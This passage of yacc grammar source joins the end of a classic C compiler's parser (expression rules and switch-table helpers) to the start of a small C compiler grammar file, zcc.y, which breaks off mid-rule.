/* now, we have the type of the RHS correct */
temp->in.left->in.op = FREE;
temp->in.op = FREE;
ecomp( buildtree( FORCE, temp->in.right, NIL ) );
retstat |= RETVAL;
branch( retlab );
reached = 0;
reachflg = 0;
}
| GOTO NAME SM
={ register NODE *q;
q = block( FREE, NIL, NIL, INT|ARY, 0, INT );
q->tn.rval = idname = $2;
defid( q, ULABEL );
stab[idname].suse = -lineno;
branch( stab[idname].offset );
/*CXREF ref($2, lineno); */
goto rch;
}
| SM
| error SM
| error RC
| label statement
;
label: NAME COLON
={ register NODE *q;
q = block( FREE, NIL, NIL, INT|ARY, 0, LABEL );
q->tn.rval = $1;
defid( q, LABEL );
reached = 1;
/*CXREF def($1, lineno); */
}
| CASE e COLON
={ addcase($2);
reached = 1;
}
| DEFAULT COLON
={ reached = 1;
adddef();
flostat |= FDEF;
}
;
doprefix: DO
={ savebc();
/* "loop not entered at top" */
if( !reached ) WERROR( MESSAGE( 75 ));
brklab = getlab();
contlab = getlab();
deflab( $$ = getlab() );
reached = 1;
}
;
ifprefix: IF LP e RP
={ ecomp( buildtree( CBRANCH, $3, bcon( (CONSZ) ($$=getlab())) ) ) ;
reached = 1;
}
;
ifelprefix: ifprefix statement ELSE
={ if( reached ) branch( $$ = getlab() );
else $$ = NOLAB;
deflab( $1 );
reached = 1;
}
;
switchpart: SWITCH LP e RP
={ int type;
savebc();
brklab = getlab();
type = BTYPE( $3->in.type );
if( ( SZLONG > SZINT ) && ( type == LONG || type == ULONG ) )
/* long in case or switch statement may be truncated */
WERROR( MESSAGE( 123 ));
ecomp( buildtree( FORCE, $3, NIL ) );
branch( $$ = getlab() );
swstart();
reached = 0;
}
;
/* EXPRESSIONS */
con_e: { $<intval>$=instruct; stwart=instruct=0; } e
%prec CM
={ $$ = icons( $2 ); instruct=$<intval>1; }
;
.e: e
|
={ $$=0; }
;
elist: e
%prec CM
| elist CM e
={ goto bop; }
;
e: e RELOP e
={
preconf:
if( yychar==RELOP||yychar==EQUOP||yychar==AND||yychar==OR||yychar==ER ){
precplaint:
/* "precedence confusion possible: parenthesize!" */
if( hflag ) WERROR( MESSAGE( 92 ) );
}
bop:
$$ = buildtree( $2, $1, $3 );
}
| e CM e
={ $2 = COMOP;
goto bop;
}
| e DIVOP e
={ goto bop; }
| e PLUS e
={ if(yychar==SHIFTOP) goto precplaint; else goto bop; }
| e MINUS e
={ if(yychar==SHIFTOP ) goto precplaint; else goto bop; }
| e SHIFTOP e
={ if(yychar==PLUS||yychar==MINUS) goto precplaint; else goto bop; }
| e MUL e
={ goto bop; }
| e EQUOP e
={ goto preconf; }
| e AND e
={ if( yychar==RELOP||yychar==EQUOP ) goto preconf; else goto bop; }
| e OR e
={ if(yychar==RELOP||yychar==EQUOP) goto preconf; else goto bop; }
| e ER e
={ if(yychar==RELOP||yychar==EQUOP) goto preconf; else goto bop; }
| e ANDAND e
={ goto bop; }
| e OROR e
={ goto bop; }
| e MUL ASSIGN e
={ abop:
$$ = buildtree( ASG $2, $1, $4 );
}
| e DIVOP ASSIGN e
={ goto abop; }
| e PLUS ASSIGN e
={ goto abop; }
| e MINUS ASSIGN e
={ goto abop; }
| e SHIFTOP ASSIGN e
={ goto abop; }
| e AND ASSIGN e
={ goto abop; }
| e OR ASSIGN e
={ goto abop; }
| e ER ASSIGN e
={ goto abop; }
| e QUEST e COLON e
={ $$=buildtree(QUEST, $1, buildtree( COLON, $3, $5 ) );
}
| e ASOP e
/* "old-fashioned assignment operator" */
={ UERROR( MESSAGE( 87 ) ); goto bop; }
| e ASSIGN e
={ goto bop; }
| term
;
term: term INCOP
={ $$ = buildtree( $2, $1, bcon((CONSZ) 1) ); }
| MUL term
={ ubop:
$$ = buildtree( UNARY $1, $2, NIL );
}
| AND term
={ if( ISFTN($2->in.type) || ISARY($2->in.type) ){
/* "& before array or function: ignored" */
WERROR( MESSAGE( 7 ) );
$$ = $2;
}
else goto ubop;
}
| MINUS term
={ goto ubop; }
| UNOP term
={
$$ = buildtree( $1, $2, NIL );
}
| INCOP term
={ $$ = buildtree( $1==INCR ? ASG PLUS : ASG MINUS,
$2,
bcon((CONSZ) 1) );
}
| SIZEOF term
={ $$ = doszof( $2 ); }
| LP cast_type RP term %prec INCOP
={ $$ = buildtree( CAST, $2, $4 );
/* carefully, now...
/* paintdown in buildtree returns the right child, thus
/* we don't have to FREE nodes and return the right child here--
/* we know this by the cast being tossed and having an ICON in
/* hand upon the return from buildtree */
if ($$->in.op != ICON)
{
$$->in.left->in.op = FREE;
$$->in.op = FREE;
$$ = $$->in.right;
}
}
| SIZEOF LP cast_type RP %prec SIZEOF
={ $$ = doszof( $3 ); }
| term LB e RB
={ $$ = buildtree( UNARY MUL, buildtree( PLUS, $1, $3 ), NIL ); }
| funct_idn RP
={ $$=buildtree(UNARY CALL,$1,NIL); }
| funct_idn elist RP
={ $$=buildtree(CALL,$1,$2); }
| term STROP NAME
={ if( $2 == DOT ){
/* "structure reference must be addressable" */
if( notlval( $1 ) )UERROR(MESSAGE( 105 ));
$1 = buildtree( UNARY AND, $1, NIL );
}
idname = $3;
$$ = buildtree( STREF, $1, buildtree( NAME, NIL, NIL ) );
/*CXREF ref($3, lineno); */
}
| NAME
={ idname = $1;
/* recognize identifiers in initializations */
if( blevel==0 && stab[idname].stype == UNDEF ) {
register NODE *q;
/* "undeclared initializer name %.8s" */
/* "undeclared initializer name %s" */
WERROR( MESSAGE( 111 ), stab[idname].sname );
q = block( FREE, NIL, NIL, INT, 0, INT );
q->tn.rval = idname;
defid( q, EXTERN );
}
$$=buildtree(NAME,NIL,NIL);
stab[$1].suse = -lineno;
/*CXREF ref($1, lineno); */
}
| ICON
={ $$=bcon((CONSZ) 0);
$$->tn.lval = lastcon;
# ifdef BIGCONSTS
$$->tn.l2val = last2con;
# endif
$$->tn.rval = NONAME;
if( $1 ) $$->fn.csiz = $$->in.type = ctype(LONG);
}
| FCON
={ $$=buildtree(FCON,NIL,NIL);
$$->fpn.dval = dcon;
}
| STRING
={ $$ = getstr(); /* get string contents */ }
| LP e RP
={ $$=$2; }
;
cast_type: type null_decl
={
$$ = tymerge( $1, $2 );
$$->in.op = NAME;
$1->in.op = FREE;
}
;
null_decl: /* empty */
={ $$ = bdty( NAME, NIL, -1 ); }
| LP RP
={ $$ = bdty( UNARY CALL, bdty(NAME,NIL,-1),0); }
| LP null_decl RP LP RP
={ $$ = bdty( UNARY CALL, $2, 0 ); }
| MUL null_decl
={ goto umul; }
| null_decl LB RB
={ goto uary; }
| null_decl LB con_e RB
={ goto bary; }
| LP null_decl RP
={ $$ = $2; }
;
funct_idn: NAME LP
={ if( stab[$1].stype == UNDEF ){
register NODE *q;
q = block( FREE, NIL, NIL, FTN|INT, 0, INT );
q->tn.rval = $1;
defid( q, EXTERN );
}
idname = $1;
$$=buildtree(NAME,NIL,NIL);
stab[idname].suse = -lineno;
/*CXREF ref($1, lineno); */
}
| term LP
;
%%
NODE *
mkty( t, d, s ) unsigned t; {
return( block( TYPE, NIL, NIL, t, d, s ) );
}
NODE *
bdty( op, p, v ) NODE *p; {
register NODE *q;
q = block( op, p, NIL, INT, 0, INT );
switch( op ){
case UNARY MUL:
case UNARY CALL:
break;
case LB:
q->in.right = bcon((CONSZ) v);
break;
case NAME:
q->tn.rval = v;
break;
default:
cerror( "bad bdty" );
}
return( q );
}
dstash( n ){ /* put n into the dimension table */
if( curdim >= DIMTABSZ-1 ){
cerror( "dimension table overflow");
}
dimtab[ curdim++ ] = n;
}
savebc() {
if( psavbc > & asavbc[BCSZ-4 ] ){
cerror( "whiles, fors, etc. too deeply nested");
}
*psavbc++ = brklab;
*psavbc++ = contlab;
*psavbc++ = flostat;
*psavbc++ = swx;
flostat = 0;
}
resetbc(mask){
swx = *--psavbc;
flostat = *--psavbc | (flostat&mask);
contlab = *--psavbc;
brklab = *--psavbc;
}
addcase(p) NODE *p; { /* add case to switch */
int type;
p = optim( p ); /* change enum to ints */
if( p->in.op != ICON ){
/* "non-constant case expression" */
UERROR( MESSAGE( 80 ));
return;
}
type = BTYPE( p->in.type );
if( ( SZLONG > SZINT ) && ( type == LONG || type == ULONG ) )
/* long in case or switch statement may be truncated */
WERROR( MESSAGE( 123 ));
if( swp == swtab ){
/* "case not in switch" */
UERROR( MESSAGE( 20 ));
return;
}
if( swp >= &swtab[SWITSZ] ){
cerror( "switch table overflow");
}
swp->sval = p->tn.lval;
deflab( swp->slab = getlab() );
++swp;
tfree(p);
}
adddef(){ /* add default case to switch */
if( swtab[swx].slab >= 0 ){
/* "duplicate default in switch" */
UERROR( MESSAGE( 34 ));
return;
}
if( swp == swtab ){
/* "default not inside switch" */
UERROR( MESSAGE( 29 ));
return;
}
deflab( swtab[swx].slab = getlab() );
}
swstart(){
/* begin a switch block */
if( swp >= &swtab[SWITSZ] ){
cerror( "switch table overflow");
}
swx = swp - swtab;
swp->slab = -1;
++swp;
}
swend(){ /* end a switch block */
register struct sw *swbeg, *p, *q, *r, *r1;
CONSZ temp;
int tempi;
swbeg = &swtab[swx+1];
/* sort */
r1 = swbeg;
r = swp-1;
while( swbeg < r ){
/* bubble largest to end */
for( q=swbeg; q<r; ++q ){
if( q->sval > (q+1)->sval ){
/* swap */
r1 = q+1;
temp = q->sval;
q->sval = r1->sval;
r1->sval = temp;
tempi = q->slab;
q->slab = r1->slab;
r1->slab = tempi;
}
}
r = r1;
r1 = swbeg;
}
/* it is now sorted */
for( p = swbeg+1; p<swp; ++p ){
if( p->sval == (p-1)->sval ){
/* "duplicate case in switch, %d" */
UERROR( MESSAGE( 33 ), tempi=p->sval );
return;
}
}
genswitch( swbeg-1, swp-swbeg );
swp = swbeg-1;
}
setdim() { /* store dimtab info on block entry */
dimptr++;
if (dimptr >= &dimrec[BNEST]) uerror("block nesting too deep");
dimptr->index = curdim;
dimptr->cextern = 0;
}
cleardim(){ /* clear dimtab info on block exit */
if(dimptr->cextern == 0) {
curdim = dimptr->index;
dimptr--;
}
else {
dimptr--;
if (dimptr >= dimrec) dimptr->cextern = 1;
}
}
|
<filename>alice2/zcc/zcc.y
%expect 1 /* Dangling 'else' */
%{
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdarg.h>
#include "zcc.h"
#define YYDEBUG 1
extern int yylex(void);
int yylineno;
extern FILE *yyin;
int error_return;
char pathname[1024], filename[1024], outfilename[1024];
int cur_class = -1;
TYPE cur_type;
int already_report_once = 0;
%}
%union {
int number;
int storage_class;
char ident[IDENT_LEN];
char *string;
NODE *node;
TYPE type;
VARIABLE *variable;
}
%token<ident> IDENT
%token<number> NUMBER
%token<string> STRING
%token<node> RETURN IF FOR WHILE DO ELSE BREAK CONTINUE GOTO DEFAULT CASE SWITCH
%token STATIC EXTERN VOLATILE AUTO REGISTER DEFAULT
%token INT CHAR SIGNED UNSIGNED VOID
%token FUNCTION_PARAM VARIABLE_NODE
/* Lowest to highest precedence: */
%type<node> expression /* comma */
%type<node> expr_assign
%type<node> expr_ternary
%type<node> expr_log_or
%type<node> expr_log_and
%type<node> expr_or
%type<node> expr_xor
%type<node> expr_and
%type<node> expr_equality
%type<node> expr_inequality
%type<node> expr_shift
%type<node> expr_sum
%type<node> expr_factor
%type<node> expr_unary
%type<node> expr_deref
%type<node> expr_item
%type<node> stats stat poss_expr func_params non_empty_func_params
%type<node> arg_decls non_empty_arg_decls arg_decl
%type<type> type
%type<variable> decl
%type<variable> decl_deref
%type<variable> decl_item
%type<variable> cast_decl
%type<variable> cast_decl_deref
%type<variable> cast_decl_item
%type<variable> cast_decl_item_nonempty
%type<storage_class> storage_class
%right UNARY INCR DECR
%token PLUS_ASSIGN MINUS_ASSIGN TIMES_ASSIGN DIV_ASSIGN MOD_ASSIGN
%token OR_ASSIGN AND_ASSIGN XOR_ASSIGN SHIFT_LEFT_ASSIGN SHIFT_RIGHT_ASSIGN
%token LOG_OR LOG_AND EQUALS NOT_EQUALS
%token LESS_EQUALS GREATER_EQUALS SHIFT_LEFT SHIFT_RIGHT
%token SIZEOF DEREF DEREF_PTR CAST DOTDOTDOT
%%
start
: /* Nothing */
| start top_level
;
top_level
: var_def
| func_def
;
var_def
: class_type decls ';'
{
/* reset type -- it's set by "class_type" and used
by "decls" */
cur_class = DEFAULT;
cur_type.type = INT;
cur_type.is_signed = 1;
}
;
func_def
: class_type decl '{' { scope_start(); } defs stats '}'
{
simplify($6);
output_function($2->name, $6);
free_tree($6);
output_variables();
scope_end();
}
;
defs
: /* Nothing */
| defs var_def
;
storage_class
: STATIC { $$ = STATIC; }
| EXTERN { $$ = EXTERN; }
| VOLATILE { $$ = VOLATILE; }
| AUTO { $$ = AUTO; }
| REGISTER { $$ = REGISTER; }
;
type
: INT { $$.type = INT; $$.is_signed = 1; }
| UNSIGNED { $$.type = INT; $$.is_signed = 0; }
| SIGNED { $$.type = INT; $$.is_signed = 1; }
| UNSIGNED INT { $$.type = INT; $$.is_signed = 0; }
| SIGNED INT { $$.type = INT; $$.is_signed = 1; }
| CHAR { $$.type = CHAR; $$.is_signed = 0; }
| UNSIGNED CHAR { $$.type = CHAR; $$.is_signed = 0; }
| SIGNED CHAR { $$.type = CHAR; $$.is_signed = 1; }
;
class_type:
storage_class type
{
cur_class = $1;
cur_type = $2;
}
| storage_class
{
cur_class = $1;
cur_type.type = INT;
cur_type.is_signed = 1;
}
| type
{
cur_class = DEFAULT;
cur_type = $1;
}
;
decls
: decl {}
| decls ',' decl {}
;
decl
: decl_deref
| '*' decl
{
DECL *dec;
dec = malloc(sizeof(DECL));
dec->decl_type = DECL_POINTER;
dec->next = *$2->last_decl;
*$2->last_decl = dec;
$2->last_decl = &dec->next;
$$ = $2;
}
;
decl_deref
: decl_item
| decl_item '(' arg_decls ')'
{
DECL *dec;
dec = malloc(sizeof(DECL));
dec->decl_type = DECL_FUNCTION;
dec->data.args = NULL;
dec->next = *$1->last_decl;
*$1->last_decl = dec;
$1->last_decl = &dec->next;
$$ = $1;
}
| decl_deref '[' NUMBER ']'
{
DECL *dec;
dec = malloc(sizeof(DECL));
dec->decl_type = DECL_ARRAY;
dec->data.length = $3;
dec->next = *$1->last_decl;
*$1->last_decl = dec;
$1->last_decl = &dec->next;
$$ = $1;
}
;
decl_item
: IDENT
{
VARIABLE *var;
DECL *dec;
dec = malloc(sizeof(DECL));
dec->decl_type = DECL_BASIC_TYPE;
dec->data.type = cur_type;
dec->next = NULL;
var = new_ident($1, NAME_SPACE_VARIABLE, SCOPE_LOCAL);
var->storage_class = cur_class;
var->decl = dec;
var->last_decl = &var->decl;
var->declared = 1;
var->defined = (cur_class != EXTERN);
$$ = var;
}
| '(' decl ')'
{
$$ = $2;
}
;
cast_decl:
cast_decl_deref
| '*' cast_decl
{
DECL *dec;
dec = malloc(sizeof(DECL));
dec->decl_type = DECL_POINTER;
dec->next = *$2->last_decl;
*$2->last_decl = dec;
$2->last_decl = &dec->next;
$$ = $2;
}
;
cast_decl_deref:
cast_decl_item
| cast_decl_item_nonempty '(' arg_decls ')'
{
DECL *dec;
dec = malloc(sizeof(DECL));
dec->decl_type = DECL_FUNCTION;
dec->data.args = NULL;
dec->next = *$1->last_decl;
*$1->last_decl = dec;
$1->last_decl = &dec->next;
$$ = $1;
}
| cast_decl_deref '[' NUMBER ']'
{
DECL *dec;
dec = malloc(sizeof(DECL));
dec->decl_type = DECL_ARRAY;
dec->data.length = $3;
dec->next = *$1->last_decl;
*$1->last_decl = dec;
$1->last_decl = &dec->next;
$$ = $1;
}
;
cast_decl_item:
{
VARIABLE *var;
DECL *dec;
dec = malloc(sizeof(DECL));
dec->decl_type = DECL_BASIC_TYPE;
dec->data.type = cur_type;
dec->next = NULL;
var = new_ident("", NAME_SPACE_VARIABLE, SCOPE_LOCAL);
var->storage_class = cur_class;
var->decl = dec;
var->last_decl = &var->decl;
var->declared = 1;
var->defined = (cur_class != EXTERN);
$$ = var;
}
| cast_decl_item_nonempty
;
cast_decl_item_nonempty:
'(' cast_decl ')'
{
$$ = $2;
}
;
arg_decls
: { $$ = NULL; }
| VOID { $$ = NULL; }
| non_empty_arg_decls
;
non_empty_arg_decls:
arg_decl
| non_empty_arg_decls ',' arg_decl
{
$$ = new_node(',', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
}
;
arg_decl:
class_type decl
{
$$ = new_node(VARIABLE_NODE, 0);
$$->data.var = $2;
}
| decl
{
$$ = new_node(VARIABLE_NODE, 0);
$$->data.var = $1;
}
| DOTDOTDOT
{
$$ = new_node(DOTDOTDOT, 0);
}
;
stats:
{ $$ = NULL; }
| stats stat
{
if ($1 == NULL) {
$$ = $2;
} else {
$$ = new_node(';', 2);
$$->arg[0] = $1;
$$->arg[1] = $2;
}
}
;
stat:
RETURN ';'
{
$$ = new_node(RETURN, 0);
}
| RETURN expression ';'
{
$$ = new_node(RETURN, 1);
$$->arg[0] = $2;
}
| FOR '(' poss_expr ';' poss_expr ';' poss_expr ')' stat
{
$$ = new_node(FOR, 4);
$$->arg[0] = $3;
$$->arg[1] = $5;
$$->arg[2] = $7;
$$->arg[3] = $9;
}
| WHILE '(' expression ')' stat
{
$$ = new_node(WHILE, 2);
$$->arg[0] = $3;
$$->arg[1] = $5;
}
| DO stat WHILE '(' expression ')' ';'
{
$$ = new_node(DO, 2);
$$->arg[0] = $2;
$$->arg[1] = $5;
}
| IF '(' expression ')' stat
{
$$ = new_node(IF, 2);
$$->arg[0] = $3;
$$->arg[1] = $5;
}
| IF '(' expression ')' stat ELSE stat
{
$$ = new_node(IF, 3);
$$->arg[0] = $3;
$$->arg[1] = $5;
$$->arg[2] = $7;
}
| SWITCH '(' expression ')' stat
{
$$ = new_node(SWITCH, 2);
$$->arg[0] = $3;
$$->arg[1] = $5;
}
| CASE expression ':'
{
$$ = new_node(CASE, 1);
$$->arg[0] = $2;
}
| DEFAULT ':'
{
$$ = new_node(DEFAULT, 0);
}
| IDENT ':'
{
VARIABLE *var;
var = get_ident($1, NAME_SPACE_LABEL);
if (var == NULL || !var->defined) {
if (var == NULL) {
var = new_ident($1, NAME_SPACE_LABEL, SCOPE_FUNCTION);
}
var->defined = 1;
$$ = new_node(CASE, 0);
$$->data.var = var;
} else {
yyerror("duplicate label \"%s\".", $1);
}
}
| GOTO IDENT ';'
{
VARIABLE *var;
var = get_ident($2, NAME_SPACE_LABEL);
if (var == NULL) {
var = new_ident($2, NAME_SPACE_LABEL, SCOPE_FUNCTION);
var->defined = 0;
}
$$ = new_node(GOTO, 0);
$$->data.var = var;
}
| BREAK ';'
{
$$ = new_node(BREAK, 0);
}
| CONTINUE ';'
{
$$ = new_node(CONTINUE, 0);
}
| expression ';'
{
$$ = $1;
}
| ';'
{
$$ = NULL;
}
| '{' { scope_start(); } defs stats '}'
{
$$ = $4;
scope_end();
}
;
poss_expr:
{
$$ = new_node(NUMBER, 0);
$$->data.value = 1;
$$->decl = malloc(sizeof(DECL));
$$->decl->decl_type = DECL_BASIC_TYPE;
$$->decl->data.type.type = INT;
$$->decl->data.type.is_signed = 1;
$$->decl->next = NULL;
}
| expression
{
$$ = $1;
}
;
expression:
expr_assign
| expression ',' expr_assign
{
$$ = new_node(',', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
;
expr_assign:
expr_ternary
| expr_ternary '=' expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '=' operator");
} else if ($1->decl->decl_type == DECL_POINTER) {
if (!same_declarations($1->decl, $3->decl)) {
yywarning("assignment from incompatible pointer type");
}
}
check_lhs($1);
$$ = new_node('=', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary PLUS_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '+=' operator");
}
check_lhs($1);
$$ = new_node(PLUS_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary MINUS_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '-=' operator");
}
check_lhs($1);
$$ = new_node(MINUS_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary TIMES_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '*=' operator");
}
check_lhs($1);
$$ = new_node(TIMES_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary DIV_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '/=' operator");
}
check_lhs($1);
$$ = new_node(DIV_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary MOD_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '%=' operator");
}
check_lhs($1);
$$ = new_node(MOD_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary AND_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '&=' operator");
}
check_lhs($1);
$$ = new_node(AND_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary XOR_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '^=' operator");
}
check_lhs($1);
$$ = new_node(XOR_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary OR_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '|=' operator");
}
check_lhs($1);
$$ = new_node(OR_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary SHIFT_LEFT_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '<<=' operator");
}
check_lhs($1);
$$ = new_node(SHIFT_LEFT_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
| expr_ternary SHIFT_RIGHT_ASSIGN expr_assign
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '>>=' operator");
}
check_lhs($1);
$$ = new_node(SHIFT_RIGHT_ASSIGN, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $3->decl;
}
;
expr_ternary:
expr_log_or
| expr_log_or '?' expr_ternary ':' expr_ternary
{
$$ = new_node('?', 3);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->arg[2] = $5;
$$->decl = $3->decl; /* XXX promote to $3 or $5 */
}
;
expr_log_or:
expr_log_and
| expr_log_or LOG_OR expr_log_and
{
if ($1->decl->decl_type == DECL_FUNCTION ||
$3->decl->decl_type == DECL_FUNCTION) {
yyerror("illegal operands to '||' operator");
}
$$ = new_node(LOG_OR, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
;
expr_log_and:
expr_or
| expr_log_and LOG_AND expr_or
{
if ($1->decl->decl_type == DECL_FUNCTION ||
$3->decl->decl_type == DECL_FUNCTION) {
yyerror("illegal operands to '&&' operator");
}
$$ = new_node(LOG_AND, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
;
expr_or:
expr_xor
| expr_or '|' expr_xor
{
if ($1->decl->decl_type != DECL_BASIC_TYPE ||
$3->decl->decl_type != DECL_BASIC_TYPE) {
yyerror("illegal operands to '|' operator");
}
$$ = new_node('|', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
;
expr_xor:
expr_and
| expr_xor '^' expr_and
{
if ($1->decl->decl_type != DECL_BASIC_TYPE ||
$3->decl->decl_type != DECL_BASIC_TYPE) {
yyerror("illegal operands to '^' operator");
}
$$ = new_node('^', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
;
expr_and:
expr_equality
| expr_and '&' expr_equality
{
if ($1->decl->decl_type != DECL_BASIC_TYPE ||
$3->decl->decl_type != DECL_BASIC_TYPE) {
yyerror("illegal operands to '&' operator");
}
$$ = new_node('&', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
;
expr_equality:
expr_inequality
| expr_equality EQUALS expr_inequality
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '==' operator");
}
$$ = new_node(EQUALS, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
| expr_equality NOT_EQUALS expr_inequality
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '!=' operator");
}
$$ = new_node(NOT_EQUALS, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
;
expr_inequality:
expr_shift
| expr_inequality '<' expr_shift
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '<' operator");
}
$$ = new_node('<', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
| expr_inequality '>' expr_shift
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '>' operator");
}
$$ = new_node('>', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
| expr_inequality LESS_EQUALS expr_shift
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '<=' operator");
}
$$ = new_node(LESS_EQUALS, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
| expr_inequality GREATER_EQUALS expr_shift
{
if ($1->decl->decl_type !=
$3->decl->decl_type) {
yyerror("illegal operands to '>=' operator");
}
$$ = new_node(GREATER_EQUALS, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
;
expr_shift:
expr_sum
| expr_shift SHIFT_LEFT expr_sum
{
if (($1->decl->decl_type != DECL_BASIC_TYPE) ||
($3->decl->decl_type != DECL_BASIC_TYPE)) {
yyerror("illegal operands to '<<' operator");
}
$$ = new_node(SHIFT_LEFT, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
}
| expr_shift SHIFT_RIGHT expr_sum
{
if (($1->decl->decl_type != DECL_BASIC_TYPE) ||
($3->decl->decl_type != DECL_BASIC_TYPE)) {
yyerror("illegal operands to '>>' operator");
}
$$ = new_node(SHIFT_RIGHT, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
}
;
expr_sum:
expr_factor
| expr_sum '+' expr_factor
{
$$ = new_node('+', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
if ($1->decl->decl_type == DECL_BASIC_TYPE &&
$3->decl->decl_type == DECL_BASIC_TYPE) {
$$->decl = $1->decl;
} else if ($1->decl->decl_type == DECL_POINTER &&
$3->decl->decl_type == DECL_BASIC_TYPE) {
$$->decl = $1->decl;
} else if ($1->decl->decl_type == DECL_BASIC_TYPE &&
$3->decl->decl_type == DECL_POINTER) {
$$->decl = $3->decl;
} else {
yyerror("illegal operands to '+' operator");
}
}
| expr_sum '-' expr_factor
{
$$ = new_node('-', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
if ($1->decl->decl_type == DECL_BASIC_TYPE &&
$3->decl->decl_type == DECL_BASIC_TYPE) {
$$->decl = $1->decl;
} else if ($1->decl->decl_type == DECL_POINTER &&
$3->decl->decl_type == DECL_POINTER) {
$$->decl = malloc(sizeof(DECL));
$$->decl->decl_type = DECL_BASIC_TYPE;
$$->decl->data.type.type = INT;
$$->decl->data.type.is_signed = 0;
$$->decl->next = NULL;
} else {
yyerror("illegal operands to '+' operator");
}
}
;
expr_factor:
expr_unary
| expr_factor '*' expr_unary
{
if (($1->decl->decl_type != DECL_BASIC_TYPE) ||
($3->decl->decl_type != DECL_BASIC_TYPE)) {
yyerror("illegal operands to '*' operator");
}
$$ = new_node('*', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
| expr_factor '/' expr_unary
{
if (($1->decl->decl_type != DECL_BASIC_TYPE) ||
($3->decl->decl_type != DECL_BASIC_TYPE)) {
yyerror("illegal operands to '/' operator");
}
$$ = new_node('/', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
| expr_factor '%' expr_unary
{
if (($1->decl->decl_type != DECL_BASIC_TYPE) ||
($3->decl->decl_type != DECL_BASIC_TYPE)) {
yyerror("illegal operands to '%' operator");
}
$$ = new_node('%', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl;
}
;
expr_unary:
expr_deref
| expr_unary INCR %prec UNARY
{
check_lhs($1);
$$ = new_node(INCR, 1);
$$->data.detail = -1;
$$->arg[0] = $1;
$$->decl = $1->decl;
}
| expr_unary DECR %prec UNARY
{
check_lhs($1);
$$ = new_node(DECR, 1);
$$->data.detail = -1;
$$->arg[0] = $1;
$$->decl = $1->decl;
}
| INCR expr_unary %prec UNARY
{
check_lhs($2);
$$ = new_node(INCR, 1);
$$->data.detail = 1;
$$->arg[0] = $2;
$$->decl = $2->decl;
}
| DECR expr_unary %prec UNARY
{
check_lhs($2);
$$ = new_node(DECR, 1);
$$->data.detail = 1;
$$->arg[0] = $2;
$$->decl = $2->decl;
}
| '!' expr_unary %prec UNARY
{
$$ = new_node('!', 1);
$$->arg[0] = $2;
$$->decl = $2->decl;
}
